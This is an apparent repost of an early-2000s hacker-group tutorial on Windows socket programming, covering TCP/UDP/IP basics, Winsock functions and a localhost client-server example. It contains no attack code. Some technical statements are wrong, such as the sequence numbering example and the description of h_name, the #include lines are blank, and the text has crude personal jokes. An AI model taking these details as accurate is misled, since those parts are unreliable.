Monday, August 8, 2011

WINDOWS INTERNET PROGRAMMING






 

 
              _________________
 
             /_               /\  
 
              \/  _______    /  \
 
              /  /      /   /   /
 
             /  /______/   /   /
 
            /           __/   /
 
           /  _______   \  __/
 
          /  /      /   /  \
 
         /  /______/   /   / 
 
       _/             /   /      
 
      /______________/   /       BLACK SUN RESEARCH FACILITY
 
      \              \  /      	   HTTP://BLACKSUN.BOX.SK
 
       \______________\/
 
 
 
 
 

 
 
 
 
 
WINDOWS INTERNET PROGRAMMING
 
=================================================
 
 
 
 
 
 
 
   WRITTEN BY                 [ cos125@hotmail.com                :E-MAIL    ]      
 
           BINARY RAPE        [ 114603188                         :ICQ#      ]      
 
                              [ www.geocities.com/wininetprogram  :WEB SITE  ]
 
                              [ http://blacksun.box.sk            :TURORIALS ]      
 
 
 
 
 
 
 
 
 
 
 
Thanks to cyberwolf for letting me write this and BSRF for releasing it.
 
 
 
 
 
 
 
Disclaimer
 
=======================================
 
 
 
None of the information or code in this tutorial is meant to be used against others
 
or to purposely damage computer systems or cause any loss of or damage to property.
 
 
 
Further more neither myself or any other contributor to, or member of, the Blacksun
 
research Facility (BSRF) can be held responsible for damage or loss of property of
 
computer systems as a result of this tutorial.
 
 
 
In this tutorial the code is provided as a learning aid so you can see how its done
 
its not meant for you to use against yourself or others.
 
 
 
Also in the Exercises sections you are encouraged to alter the code and improve it.
 
I say create or build a program to do something not create or build a program to do
 
something and use it for that purpose.
 
 
 
 
 
CONTENTS
 
=======================================
 
 
 
1.  Introduction
 
2.  Different types of Sockets
 
3.  Protocols
 
   
 
    3.1 What is TCP
 
    3.2 What is UDP - An alternative
 
    3.3 Introducing IP - The main protocol
 
    3.4 TCP and UDP common functions
 
    3.5 UDP specific functions
 
    3.6 TCP specific functions
 
    3.7 Structures
 
    3.8 Converting
 
    3.9 The application layer
 
 
 
4.  Clients and servers
 
 
 
    4.1 Bracaman's Server example - Win32
 
    4.2 Bracaman's Client example - Win32
 
 
 
5.  Exploring the Winsock
 
   
 
    5.1 Looking at inet_addr()
 
    5.2 Looking at htons()
 
    5.3 Exploring Winsock functions
 
 
 
    [ EXERCISES ]
 
 
 
6.  Common Internet Programs
 
 
 
    6.1 DNS
 
    6.2 Port Scan
 
    6.3 Nuker
 
 
 
    [ EXERCISES ]
 
 
 
7.  E-Mail - SMTP
 
 
 
    [ EXERCISES ]
 
 
 
8.  WinInet - FTP
 
 
 
    [ EXERCISES ]
 
 
 
9.  Another Protocol - ICMP
 
 
 
    [ EXERCISES ]
 
 
 
10. Other Internet code
 
 
 
    10.1 Internet connections
 
    10.2 CGI Programming
 
 
 
    [ EXERCISES ]
 
 
 
11. Last Words
 
 
 
 
 
    Questions And Answers
 
 
 
 
 
    APPENDIXES 
 
 
 
    A - The Compiler
 
    B - IP and Port Numbers
 
    C - Servers and Clients
 
    D - Routers and Gateways
 
    E - Further reading
 
    F - Code
 
 
 
 
 
 
 
________________________________________________________________________________________________________
 
 
 
 
 
1.0 INTRODUCTION
 
=======================================
 
 
 
Welcome to Windows Internet Programming Part 1, the demented ramblings of a drunken Irish man.
 
 
 
 
 
Learning Internet programming can be very useful in many areas, not just for programmers that 
 
wish to expand their knowledge but also to network administrators who should be more familiar
 
with how it all works and students who need to learn quick or they will fail their exams ;).
 
 
 
Even if you just want to learn programming as a hobbie then internet programming is a very easy
 
way to get more power over connections and to better understand whats really going on underneath
 
the hood of the internet.
 
 
 
The language of choice in this tutorial is c++ and the compiler is microsoft visual c++. To find
 
out how to set up your compiler for internet programming skip on ahead to Appendix A - The Compiler.
 
 
 
If you are not familiar with several topics on the internet such as the following:
 
 
 
1. IP address's and Port numbers.
 
2. Server and client relationships.
 
3. Routers and Gateways.
 
 
 
Then I suggest you at least read the sections Appendix B, Appendix C and Appendix D,
 
or goto Appendix E - Further Reading.
 
 
 
The protocols TCP, UDP, ICMP and IP are going to be discussed in the following sections but
 
they will all be addressed as we meet them so don't worry too much about them right now :).
 
 
 
Most of the following sections have an Exercises section at the end, just some suggestions about what
 
to do with the code after you read the section.
 
 
 
Youy are free to distribute the code that I write in this tutorial and this tutorial itself but
 
remember you must keep it intact. Use this file as a reference for anything you want even your own
 
papers or tutorials but please let me know if you do, id just like to know if this tutorial is of use
 
to you.
 
 
 
Ive made a website to coincide with this, and future tutorials and it should have a mailing list on it to,
 
this website will have articles and source code that are like add-on's to the tutorial, even when its finished.
 
The site should deal with internet technologies and programming in general as well as this tutorial.
 
 
 
The url is available at the top of the page (^ UP THERE ^).
 
 
 
There should be more additions to this tutorial soon as this is only version 1.0.
 
 
 
Feel free to send comments, questions and suggestions to me at my e-mail address above or add me to your
 
icq list.
 
 
 
Well without further adue Please read on as because im about to send this e-mail onto cyberwolf because
 
he keeps giving out to me for it being late :).
 
 
 
 
 
(Sorry cyber ive just been having alot of sex the last couple of weeks)
 
 
 
________________________________________________________________________________________________________
 
 
 
 
 
2.0 DIFFERENT TYPES OF SOCKETS
 
=======================================
 
 
 
There are 2 different main types of Sockets.
 
 
 
1. Streaming sockets.
 
2. Datagram  sockets.
 
 
 
Programming TCP and UDP from scratch is difficult and involves alot of overhead. For this reason 
 
the idea of sockets were created. The socket paradigm was developed at the University of California 
 
at Berkelely. These sockets were designed for unix and similiar operating systems. In January of 1993 
 
the Winsock was created to keep Bill Gates feet warm.. nnaahhh winsock is short for Windows Sockets 
 
and is an implementation of Berkeley sockets but designed to take advantage of Windows message driven
 
architecture.
 
 
 
 
 
The winsock API was designed quickly in order to get it out as early as possible and therefore the 
 
scope of the architecture mostly focused on TCP/IP but could still implement protocols such as 
 
UDP (thankfully!).
 
 
 
Because Windows Sockets is based on the same sockets as unix, porting is quiet easy between the two, 
 
we'll cover porting and multiple platform support in a later tutorial.
 
 
 
The Winsock is implemented trough the Winsock32.DLL in one of you system folders. It acts as a 
 
layer between you (the programmer) and the hardware level (where packet generation and so on takes place).
 
 
 
You provide some perameters for the winsock such as the contents of the datagram, the target IP 
 
address and the target port number and by calling some functions like sendto(); or recvfrom(); the 
 
winsock creates the neccessary packets and sends or recieves datagrams.
 
 
 
The current version of Winsock is 2.0 and it takes more advantage of windows messaging and implements 
 
better support for protocols other than TCP/IP.
 
 
 
 
 
 
 
      +----------------------+    +-------------------------+      	Your Application
 
      |                      |    |                         |
 
      | Winsock2 Application |    | Winsock 1.1 Application |
 
      |                      |    |                         |
 
      +----------------------+    +-------------------------+
 
                 |                                  |
 
                 |                                  |
 
                 |                                  |
 
      +-----------------------------------------------------+      	The Winsock
 
      |         Wsock32.dll - The Winsock DLL               |
 
      +-----------------------------------------------------+
 
                                |
 
                                |
 
                                |
 
      +-----------------------------------------------------+      	The Transport Layer
 
      |                The Hardware Layer                   |
 
      +-----------------------------------------------------+
 
 
 
 
 
      FIG 1. - How your program and sockets talk.
 
 
 
 
 
________________________________________________________________________________________________________
 
 
 
 
 
3.0 PROTOCOLS
 
=======================================
 
 
 
There are several protocols that we use in internet programming.
 
The first is IP and this is the base layer for Protocol programming.
 
The next 2 protocols are TCP, which is orientated with streaming sockets,
 
and then theres UDP which is orientated around datagram sockets.
 
 
 
Using these protocols we can build programs which run on the application layer and form
 
protocols such as FTP and HTTP.
 
 
 
 
 
3.1 WHAT IS TCP?
 
=======================================
 
 
 
TCP is the Transmission Control Protocol.
 
 
 
TCP is a protocol developed to make sure that packets were not lost on the internet as routers sent them 
 
from computer to computer. You see when you want to send a file across the internet trough TCP you send
 
the file to the "TCP stack" (which is just another way of saying the Winsock).
 
 
 
TCP then splits up the file into little pieces, each piece is called a datagram, the size of each piece
 
depends on how good the tcp is on your computer and on the computer your sending the file to.
 
 
 
So if your computer can handle datagrams that are 1 kb large and smaller and your friends computer can 
 
handle datagrams that are 500 bytes large and smaller, your TCP will divide a file into datagrams that 
 
are 500 bytes largeso that both your computer and your friends can handle the size of the datagrams.
 
 
 
Otherwise it would be like trying to push a triangular peg into a round hole, it wouldn't fit.
 
The same as trying to squeeze digital larceny's mother into a normal bus seat, her ass is just too fat.
 
 
 
Now TCP was designed to keep track of every piece that it sends and to do so it numbers every datagram 
 
that it creates, so we have 3 datagrams from a 1.5 kb file, first datagram is numbered 0, second 500 and
 
third is 1500.
 
 
 
Thanks to this numbering feature and some built in error checking functions TCP ensures that when you 
 
send the datagrams A, B and C in that order they arrive in the order A B C and not something like C A B.
 
 
 
But how does TCP store these numbers? These numbers along with other information about the datagram, 
 
such as the IP address and port number of where its being sent, is stored in something called a header.
 
 
 
A Datagram is wrapped up in a Header which contains information, this is why TCP was created, to store
 
and control the safe sending and recieving of Datagrams across the internet.
 
 
 
So with this example in mind say if I wanted to send a 1.5 kb file to a friend. Its a fairly small file 
 
compared to most but still big enough that it needs to be split up by TCP.
 
 
 
 
 
 
 
      +-----------------+      	File before being sent
 
      |   1.5 kb file   |
 
      +-----------------+
 
               |
 
         +-----+------+
 
         |     |      |
 
      +----+-----+------+      	File split into datagrams on a 500 byte TCP connection
 
      | 0  | 500 | 1500 |
 
      +----+-----+------+
 
        |     |      |
 
        |     |      |
 
      +----+-----+------+      	TCP headers wrapped around Datagrams
 
      | H  |  H  |  H   |
 
      +----+-----+------+
 
      | 0  | 500 | 1500 |
 
      +----+-----+------+
 
 
 
 
 
 
 
      FIG 2. - TCP spliting a file into datagrams and wrapping them in their header.
 
 
 
 
 
3.2 WHAT IS UDP - AN ALTERNATIVE
 
=======================================
 
 
 
UDP was designed as an alternative to TCP, only problem is while TCP has built in error checking and
 
ensures that your file is recieved just the same way as it was sent UDP doesn't it just sends out its
 
datagrams and lets them find their own way to the host.
 
 
 
With TCP your quarenteed your sending A B C to a person but with UDP it could be more like B A C.
 
 
 
Because of this UDP is considered unreliable and is not counted on for important transfers.
 
Still UDP is not as bad as every-one says and the error rate is kinda low, still for important transfers
 
you just can't count on 'kinda' low.
 
 
 
UDP is better used on lan's and ethernet's than the internet because on these smaller networks it is
 
extremely rare that you would loose a datagram.
 
 
 
So if it is so unreliable why was it created?
 
 
 
Well there is a reason UDP is unreliable, it sacrifices its reliability for speed. There are many cases
 
where UDP is a definite advantage such as when you only need one datagram sent, then you wouldnt need to
 
worry whether A B C arrived in order cos' your only sending A.
 
 
 
UDP wraps datagrams in its own header for transmission, these headers are smaller and contain less info
 
than TCP headers but like I said sometimes UDP is a definite advantage.
 
 
 
 
 
3.3 INTRODUCING IP - THE MAIN PROTOCOL
 
=======================================
 
 
 
IP stands for Internet Protocol and all other protocols such as TCP and UDP ride piggy back on it.
 
IP doesn't divide files up into datagrams and the like it already has that job done for it by TCP and UDP.
 
 
 
IP is sent the datagram with a header wrapped around it (either a TCP or UDP header it doesn't matter),
 
and it wraps its own header around it.
 
 
 
Now we have a datagram with 2 seperate headers wrapped around it, the TCP header and the IP header.
 
This formation is known as an IP Packet. All information, e-mails, web-pages, messages and files are sent
 
across the internet in IP Packets.
 
 
 
IP headers are used to provide information to routers as opposed to, say for example TCP, whose headers
 
are meant for servers and clients to tell them how to put datagrams together.
 
 
 
The IP header contains information like the IP# and port number of the host its being sent to, which it 
 
extracts from the TCP or UDP header, so that it can tell the routers where it wants to go.
 
 
 
The TTL is the Time To Live of the packet we are sending. Rather than the time to live specifying the 
 
amount of time in seconds or minutes that the packet exists for it contains a number which states how many 
 
routers the packet can meet before it is destroyed. The TTL is a number specified by you (the programmer).
 
 
 
For example if we set the time to live field as 10 in the IP header then the packet can meet ten 
 
routers before it is destroyed. Each router that the packet meets subtracts 1 from the number so that after 
 
the packet meets the first router the TTL will be equal to 9 and after the second it will be 8.
 
 
 
When the TTL hits 1 the router subtracts 1, gets 0 and throws away the packet, this is to ensure that 
 
if a packet gets lost it wont just wander around the internet forever.
 
 
 
 
 
 
 
      +-----------------------+
 
      |       IP Header      	|
 
      +-----------------------+
 
      |+---------------------+|
 
      ||     TCP  Header     ||
 
      |+---------------------+|
 
      ||+-------------------+||
 
      |||                   |||
 
      |||     Datagram      |||
 
      |||      	          |||
 
      |||                   |||
 
      ||+-------------------+||
 
      |+---------------------+|
 
      +-----------------------+
 
 
 
      
 
      Fig 3. - Structure of an IP Packet.
 
 
 
 
 
3.4 TCP AND UDP COMMON FUNCTIONS 
 
=======================================
 
 
 
TCP and UDP contain both common and different functions. All of these functions are contained within the 
 
winsock.h header file (which is contained in windows.h).
 
 
 
[ WSAStartup() ]
 
 
 
WSAStartup() must be called every time that we start internet code in an application. This function calls
 
the winsock so that we can use it. Every windows winsock program begins with this function.
 
 
 
 
 
[ WSACleanup() ]
 
 
 
Like WSAStartup();, WSACleanup(); must be called in every winsock program, it however is called at the end 
 
of the code as opposed to the beginning like startup(); is. This function is the equivilant to unix's,
 
close() and shutdown() functions.
 
 
 
Its very important that every single WSAStartup() has a corresponding WSACleanup().
 
 
 
 
 
[ Socket() ]
 
 
 
The next important function is socket(); and is used by both protocols. This function contains 3 parameters,
 
 
 
1. Domain
 
2. Type
 
3. Protocol
 
 
 
 
 
1. Domain   - There are several values you can set domain to depending on the purpose of the socket.
 
              In this tutorial were going to set the domain to AF_INET in order to use internet protocols.
 
 
 
2. Type     - The value of type depends on what sockets you use. Remember there are 2 types of sockets,
 
              Streaming and Datagram. TCP is stream orientated and UDP is datagram orientated. Therefore
 
              if we wish to use TCP we set the type to SOCK_STREAM and if we want to use UDP we set it to
 
              SOCK_DGRAM
 
 
 
3. Protocol - This isn't important we can set it to 0.
 
 
 
 
 
Once we create the socket trough this function we can read and write to and from it. So anything we send to
 
the socket is transmitted across the internet connection and anything sent to us can be read from the connection.
 
 
 
 
 
[ closessocket() ]
 
 
 
closesocket() function is used to close a socket that you have already created.
 
This function has 1 parameter, the name of the socket you created.
 
 
 
1. Socket   - The name of the socket you declared.
 
 
 
 
 
This function closes the socket and once called no more reading or writing can be made to the socket.
 
To use this function you must first declare socket. Any-1 that try's to read or write to the socket
 
will recieve errors once this function is called.
 
 
 
 
 
[ gethostbyname() ]
 
 
 
This function returns the IP address of a host, for example;
 
 
 
gethostbyname("www.microsoft.com");
 
 
 
would return the IP address of the misrosoft website. This function is whats behind the DNS program and 
 
theres many occassions when obtaining the unknown IP address of a website can be useful in programming.
 
 
 
 
 
[ gethostbyaddr() ]
 
 
 
This function does the opposite of gethostbyname(). In this function we pass an IP address as the parameter 
 
and a host name is returned.
 
 
 
 
 
3.5 UDP SPECIFIC FUNCTIONS 
 
=======================================
 
 
 
Unlike the previous section which contained functions used by both UDP and TCP applications this section 
 
contains functions which are specific to UDP, that is you only use them in a program that is using UDP as 
 
the protocol of choice.
 
 
 
 
 
[ sendto() ]
 
 
 
The sendto() function is used to send datagrams across the connection we have established and we pass it 6
 
parameters.
 
 
 
1. Sock        	-  The socket that weve made earlier.
 
2. Msge           -  The information we want to send.
 
3. Len      	-  The length of the information we wish to send.
 
4. Flags      	-  This is set to 0.
 
5. To      	      -  The pointer to struct sockaddr.
 
6. Tolen      	-  The sizeof(struct sockaddr).
 
 
 
 
 
sendto() returns the number of bytes sent and returns -1 on error.
 
 
 
 
 
[ recvfrom() ]
 
 
 
This is sendto() 's counterpart, where we use sendto() to send information and write to a socket, we use 
 
recvfrom() to read from that socket and recieve information from a computer on the internet.
 
 
 
1. Sock      	-  The socket that weve made earlier.
 
2. Buf      	-  The buffer to read information into.
 
3. Len      	-  The maximum length of the buffer.
 
4. Flags      	-  This is set to 0.
 
5. From      	-  The pointer to struct sockaddr
 
6. Fromlen      	-  The pointer to an int with the value of sizeof(struct sockaddr)
 
 
 
 
 
recvfrom() returns the number of bytes recieved and returns -1 on error.
 
 
 
 
 
3.6 TCP SPECIFIC FUNCTIONS 
 
=======================================
 
 
 
Like UDP, TCP has 2 specific fuctions for sending and receiving information on the internet,
 
these functions look very similiar but dont have as many parameters.
 
 
 
[ send() ]
 
 
 
send() is the same as UDP's sendto() and has 4 parameters.
 
 
 
1. Sock        	-  The same as sendto().
 
2. Msge           -  The same as sendto().
 
3. Len      	-  The same as sendto().
 
4. Flags      	-  The same as sendto().
 
 
 
 
 
send() returns the number of bytes sent and returns -1 on error.
 
 
 
 
 
[ recv() ]
 
 
 
recv() is the same as UDP's recvfrom() and has 4 parameters.
 
 
 
1. Sock        	-  The same as recvfrom().
 
2. Msge           -  The same as recvfrom().
 
3. Len      	-  The same as recvfrom().
 
4. Flags      	-  The same as recvfrom().
 
 
 
 
 
recv() returns the number of bytes recieved and returns -1 on error.
 
 
 
 
 
Unlike UDP, TCP is a connection orientated protocol, what this means is that you first must form a 
 
connection with the host before you can begin sending and recieving information to one another.
 
 
 
TCP has several specific functions for forming this connection.
 
 
 
 
 
[ connect() ]
 
 
 
After we start up the winsock in a TCP application and set up the socket we must call this function
 
in order to form the connection.
 
 
 
It has 3 parameters.
 
 
 
1. Sock      	-  The socket that weve made earlier.
 
2. To      	      -  The pointer to struct sockaddr.
 
3. ToLen      	-  The sizeof(struct sockaddr).
 
 
 
 
 
You will recognise all of these parameters from earlier and theres nothing new to explain here.
 
 
 
This function is used to connect to an IP address on a defined port and returns -1 on error.
 
 
 
 
 
TCP again varies from UDP by requiring special functions when creating a server.
 
These are bind() and listen().
 
 
 
 
 
[ bind() ]
 
 
 
bind() has 3 parameters.
 
 
 
 
 
1. Sock      	-  The socket that weve made earlier.
 
2. My_addr      	-  The pointer to struct sockaddr.
 
3. ToLen      	-  The sizeof(struct sockaddr).
 
 
 
 
 
bind() is used to form a connection to a port on your own computer. All servers have specific ports,
 
an http servers port is 80 and an ftp servers port is 21.
 
 
 
With servers we must bind() to a specific port so that clients know how to talk to us. When I bind();
 
to port 13 all IP packets sent to port 13 on my computer are directed to my program.
 
 
 
 
 
[ listen() ]
 
 
 
listen() only contains 2 parameters.
 
 
 
 
 
1. Sock      	-  The socket that weve made earlier.
 
2. BackLog      	-  The number of connections allowed.
 
 
 
 
 
We use listen() when we are waiting for a connection. You must call bind() before listen() so the
 
program knows what port it is supposed to be listening to for packets.
 
 
 
 
 
3.7 STRUCTURES
 
=======================================
 
 
 
There are several structures used in winsock programming to make referencing objects that much easier.
 
 
 
 
 
[ sockaddr ]
 
 
 
You'll notice that in the last section I refered to "struct sockaddr" but what is it?
 
 
 
sockaddr is a c++ structure which holds 2 pieces of information about the socket.
 
 
 
1. Sa_family      -  The address family.
 
2. Sa_data[14];      -  14 bytes of the protocol address.
 
 
 
 
 
[ sockaddr_in ]
 
 
 
Another structure is sockaddr_in which we use to reference elements of the socket.
 
 
 
1. Sin_family     -  The address family.
 
2. Sin_port      	-  The Port number.
 
3. Sin_addr      	-  The Internet Address.
 
 
 
 
 
sin_family is usually set to AF_INET in most programs. It tells the program what kind of network its going
 
to be used for, in this case AF_INET (the internet).
 
 
 
sin_port is a number used for the internet connection such as 80.
 
sin_addr is the internet address to be used in the connection such as 127.0.0.1.
 
 
 
 
 
[ hostent ]
 
 
 
The final structure we are going to look at is hostent.
 
This structure is used to refer to remote hosts, like www.microsoft.com or blacksun.box.sk.
 
 
 
This structure is most commonly used to find the IP address or the host name of a remote computer.
 
 
 
We can reference information mainly by using only 1 part.
 
 
 
1. Hostent->h_name
 
 
 
This is used to get the IP number when provided the host name.
 
 
 
 
 
The rest of the structure isn't important right now but we may cover it later.
 
 
 
 
 
3.8 CONVERTING
 
=======================================
 
 
 
[ htons() ]
 
 
 
Theres a little problem with numbers on the internet, intel chips store them one way and motorola
 
chips store them a different way. So how do we make sure that our programs can work alongside macintosh
 
computers which use the motorola chip? There is a function called htons() which will convert the number
 
thankfully and its really easy to use.
 
 
 
This function has only 1 paramater
 
 
 
1. Port      	-  The port number.
 
 
 
It takes the port number we pass to it and converts it, saving us from annoying overhead.
 
We'll use htons() later when we have to fill up structures.
 
 
 
 
 
[ inet_addr ]
 
 
 
Before we can fill up our structures tough we first have to supply an IP address and in order for the
 
program to do this we must convert the address into an unsigned long.
 
 
 
To do this we pass the IP address to the function inet_addr() as its only parameter.
 
 
 
1. Address      -  The IP Address.
 
 
 
 
 
3.9 THE APPLICATION LAYER
 
=======================================
 
 
 
Mostly on the internet you'll hear things like ftp and http and how they are protocols. This is true
 
as what a protocol is, is a defined set of rules on how to interact, like a certain way for 2 computers
 
to talk to eachother.
 
 
 
These protocols however are not quiet the same as TCP or UDP, just as those 2 aren't the same as IP.
 
 
 
We can seperate and define these protocols by placing them in layers. IP is the base layer the one where
 
most fundamental communication takes place (getting from one place to another), and protocols like
 
TCP are built on top of IP so they are on a different layer. The same way FTP and HTTP are built on top
 
of TCP so they are on a higher level.
 
 
 
This can best be shown with a diagram I think (or maybe its not I just like making diagrams ;),).
 
 
 
 
 
 
 
      +-------------------+
 
      | Application Layer |      -  FTP, HTTP.
 
      +-------------------+
 
      |  Transport Layer  |      -  TCP, UDP.
 
      +-------------------+
 
      |  Protocol  Layer  |      -  IP.
 
      +-------------------+
 
      |  Hardware  Layer  |      -  Network Card.
 
      +-------------------+
 
 
 
 
 
 
 
      Fig 4. - Protocol Layering.
 
 
 
 
 
The Hardware Layer is of course where packets are created and everything on the network and ethernet
 
cards themselves.
 
 
 
 
 
________________________________________________________________________________________________________
 
 
 
 
 
4.0 CLIENTS AND SERVERS
 
=======================================
 
 
 
Since this tutorial is trying to run parallel to BracaMans unix sockets tutorial (also available from 
 
blacksun.box.sk).
 
 
 
We are going to use the same programs as in his tutorial except ported for use in windows.
 
 
 
 
 
 
 
4.1 BRACAMANS SERVER EXAMPLE - WIN32
 
=======================================
 
 
 
 
 
/* <---- SOURCE CODE STARTS HERE ----> */
 
 
 
#include 
 
#include 
 
#include 
 
 
 
#define PORT 3550   /* Port that will be opened */ 
 
#define BACKLOG 1   /* Number of allowed connections */
 
 
 
 
 
struct sockaddr_in server; /* server's address information */
 
struct sockaddr_in client; /* client's address information */
 
 
 
int sin_size;
 
 
 
 
 
WSADATA  wsdata;
 
SOCKET   fd, fd2;
 
DWORD    wsock;
 
 
 
 
 
LRESULT CALLBACK recall (HWND, UINT, WPARAM, LPARAM);
 
 
 
int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow)
 
 
 
{
 
      static TCHAR szAppName[] = TEXT("Server");
 
 
 
      HWND      	hwnd;
 
      MSG      	msg;
 
      WNDCLASS      wndclass;
 
 
 
      wndclass.style          = CS_HREDRAW | CS_VREDRAW;
 
      wndclass.lpfnWndProc    = recall;
 
      wndclass.cbClsExtra     = 0;
 
      wndclass.cbWndExtra     = 0;
 
      wndclass.hInstance      = hInstance;
 
      wndclass.hIcon      	= LoadIcon (NULL, IDI_APPLICATION);
 
      wndclass.hCursor      	= LoadCursor (NULL, IDC_ARROW);
 
      wndclass.hbrBackground  = (HBRUSH) GetStockObject (WHITE_BRUSH);
 
      wndclass.lpszMenuName   = NULL;
 
      wndclass.lpszClassName  = "Server";
 
      
 
      RegisterClass (&wndclass);
 
 
 
      hwnd = CreateWindow (szAppName,      	// Windows Class Name
 
      	      	 "Server",      	      // Windows Caption
 
      	      	 WS_OVERLAPPEDWINDOW,   // Windows Style
 
      	      	 CW_USEDEFAULT,      	// initial x position
 
      	      	 CW_USEDEFAULT,      	// initial y position
 
      	      	 200,      	      	// initial x size
 
      	      	 200,      	      	// initial y size
 
      	      	 0,      	      	// parent window handle
 
      	      	 0,      	      	// parent menu handle
 
      	      	 hInstance,      	      // program instance handle
 
      	      	 0);      	      	// creation parameters
 
 
 
 
 
      ShowWindow(hwnd, iCmdShow);
 
 
 
      while (GetMessage (&msg, NULL, 0, 0))
 
      {
 
      	DispatchMessage  (&msg);
 
      }
 
      return 1;
 
}
 
 
 
 
 
LRESULT CALLBACK recall (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
 
{
 
if (message == WM_LBUTTONDOWN)
 
{   
 
   WSAStartup(0x0101,&wsdata);  
 
 
 
   if ((fd = socket(AF_INET, SOCK_STREAM, 0)) == -1 )  /* calls socket() */
 
   {
 
         MessageBox(0,"Socket Error","Error",0);
 
         return -1;
 
   }
 
 
 
      	      	server.sin_family      	= AF_INET;         
 
      	      	server.sin_port      	= htons(PORT);          /* Remember htons() from "Conversions" section? =) */
 
      	      	server.sin_addr.s_addr      = INADDR_ANY;       /* INADDR_ANY puts your IP address automatically */
 
 
 
   if(bind(fd,(struct sockaddr*)&server,sizeof(struct sockaddr)) == -1) /* calls bind() */
 
   { 
 
         MessageBox(0,"Bind Error","Error",0);
 
            return -1;
 
   }    
 
 
 
 
 
   if(listen(fd,BACKLOG) == -1) /* calls listen() */
 
   { 
 
         MessageBox(0,"Listen Error","Error",0);
 
            return -1;
 
   }
 
 
 
 
 
      while(1)
 
      {
 
      sin_size = sizeof(struct sockaddr_in);
 
      if ((fd2 = accept(fd,(struct sockaddr *)&client,&sin_size)) == -1) /* calls accept() */
 
      
 
      {
 
 
 
         MessageBox(0,"Accept Error","Error",0);
 
         return -1;
 
 
 
      }
 
  
 
         MessageBox(0,"Client connected to server.","Connection",0);
 
 
 
 
 
         send(fd2,"Welcome to my server.\n",22,0); /* send to the client welcome message */
 
 
 
   WSACleanup();
 
 
 
   return -1;
 
 
 
}
 
}
 
 
 
      if (message == WM_DESTROY)
 
      	PostQuitMessage(0);
 
 
 
      return DefWindowProc(hwnd, message, wParam, lParam);
 
}
 
 
 
 
 
/* <---- SOURCE CODE ENDS HERE ----> */
 
 
 
 
 
 
 
This is the same code as the streaming server in bracamans tutorial, except this has been ported to windows,
 
the names bracaman uses in the program and the comments are the same.
 
 
 
 
 
4.2 BRACAMANS CLIENT EXAMPLE - WIN32
 
=======================================
 
 
 
And of course every server has to have a client...
 
 
 
 
 
/* <---- SOURCE CODE STARTS HERE ----> */
 
 
 
 
 
#include 
 
#include 
 
 
 
#define PORT 3550      	      	/* Port that will be opened */ 
 
#define MAXDATASIZE 100      	      /* Max number of bytes of data */
 
 
 
 
 
struct       hostent *he;           /* structure that will get information about remote host */
 
struct       sockaddr_in server;    /* server's address information */
 
 
 
int      numbytes;      	      /* files descriptors */
 
char         buf[MAXDATASIZE];      /* buf will store received text */
 
 
 
 
 
WSADATA  wsdata;
 
SOCKET   sock;
 
DWORD    wsock;
 
 
 
 
 
LRESULT CALLBACK recall (HWND, UINT, WPARAM, LPARAM);
 
 
 
int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow)
 
 
 
{
 
      static TCHAR szAppName[] = TEXT("Interface");
 
 
 
      HWND      	hwnd;
 
      MSG      	msg;
 
      WNDCLASS      wndclass;
 
 
 
      wndclass.style      	= CS_HREDRAW | CS_VREDRAW;
 
      wndclass.lpfnWndProc    = recall;
 
      wndclass.cbClsExtra     = 0;
 
      wndclass.cbWndExtra     = 0;
 
      wndclass.hInstance      = hInstance;
 
      wndclass.hIcon      	= LoadIcon (NULL, IDI_APPLICATION);
 
      wndclass.hCursor      	= LoadCursor (NULL, IDC_ARROW);
 
      wndclass.hbrBackground  = (HBRUSH) GetStockObject (WHITE_BRUSH);
 
      wndclass.lpszMenuName   = NULL;
 
      wndclass.lpszClassName  = "Interface";
 
      
 
      RegisterClass (&wndclass);
 
 
 
      hwnd = CreateWindow (szAppName,      	// Windows Class Name
 
      	      	 "Interface",      	// Windows Caption
 
      	      	 WS_OVERLAPPEDWINDOW,   // Windows Style
 
      	      	 CW_USEDEFAULT,      	// initial x position
 
      	      	 CW_USEDEFAULT,      	// initial y position
 
      	      	 200,      	      	// initial x size
 
      	      	 200,      	      	// initial y size
 
      	      	 0,      	      	// parent window handle
 
      	      	 0,      	      	// parent menu handle
 
      	      	 hInstance,      	      // program instance handle
 
      	      	 0);      	      	// creation parameters
 
 
 
 
 
      ShowWindow(hwnd, iCmdShow);
 
 
 
      while (GetMessage (&msg, NULL, 0, 0))
 
      {
 
      	DispatchMessage  (&msg);
 
      }
 
      return 1;
 
}
 
 
 
 
 
LRESULT CALLBACK recall (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
 
{
 
if (message == WM_LBUTTONDOWN)
 
{   
 
   WSAStartup(0x0101,&wsdata); 
 
   
 
 
 
   he = gethostbyname("localhost");      	      	      	/* calls gethostbyname() */
 
 
 
   if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)      	/* calls socket() */
 
   {
 
         MessageBox(0,"Socket Error","Error",0);
 
         return -1;
 
   }
 
 
 
 
 
      	server.sin_family = AF_INET;
 
      	server.sin_port = htons(PORT);      	                /* htons() is needed again */
 
      	server.sin_addr = *((struct in_addr *)he->h_addr);        /* he->h_addr passes "*he"'s info to "h_addr" */
 
 
 
 
 
 
 
   if(connect(sock,(struct sockaddr *)&server,sizeof(struct sockaddr)) == -1) /* calls connect() */
 
   {
 
          MessageBox(0,"Connection Error","Error",0);
 
         return -1;
 
   }  
 
 
 
 
 
   if ((numbytes = recv(sock,buf,MAXDATASIZE,0)) == -1)      	/* calls recv() */
 
   {
 
          MessageBox(0,"Receiving Error","Error",0);
 
         return -1;
 
   }
 
 
 
 
 
   buf[numbytes]='\0';
 
 
 
   MessageBox(0,buf,"Server Message",0); /* it prints server's welcome message =) */
 
 
 
 
 
   WSACleanup();
 
 
 
   return -1;
 
 
 
}
 
 
 
 
 
      if (message == WM_DESTROY)
 
      	PostQuitMessage(0);
 
 
 
      return DefWindowProc(hwnd, message, wParam, lParam);
 
}
 
 
 
 
 
/* <---- SOURCE CODE ENDS HERE ----> */
 
 
 
 
 
 
 
Again the code is almost the exact same as the original just ported and 1 or 2 different names for things.
 
 
 
We have covered all of this stuff already so theres nothing new here for you to learn except of course
 
for how to put it all together :).
 
 
 
As you can tell from the code, both the client and server are stream orientated, and what does this mean?
 
It means that they use TCP rather than UDP as the protocol.
 
 
 
________________________________________________________________________________________________________
 
 
 
 
 
5.0 EXPLORING THE WINSOCK
 
=======================================
 
 
 
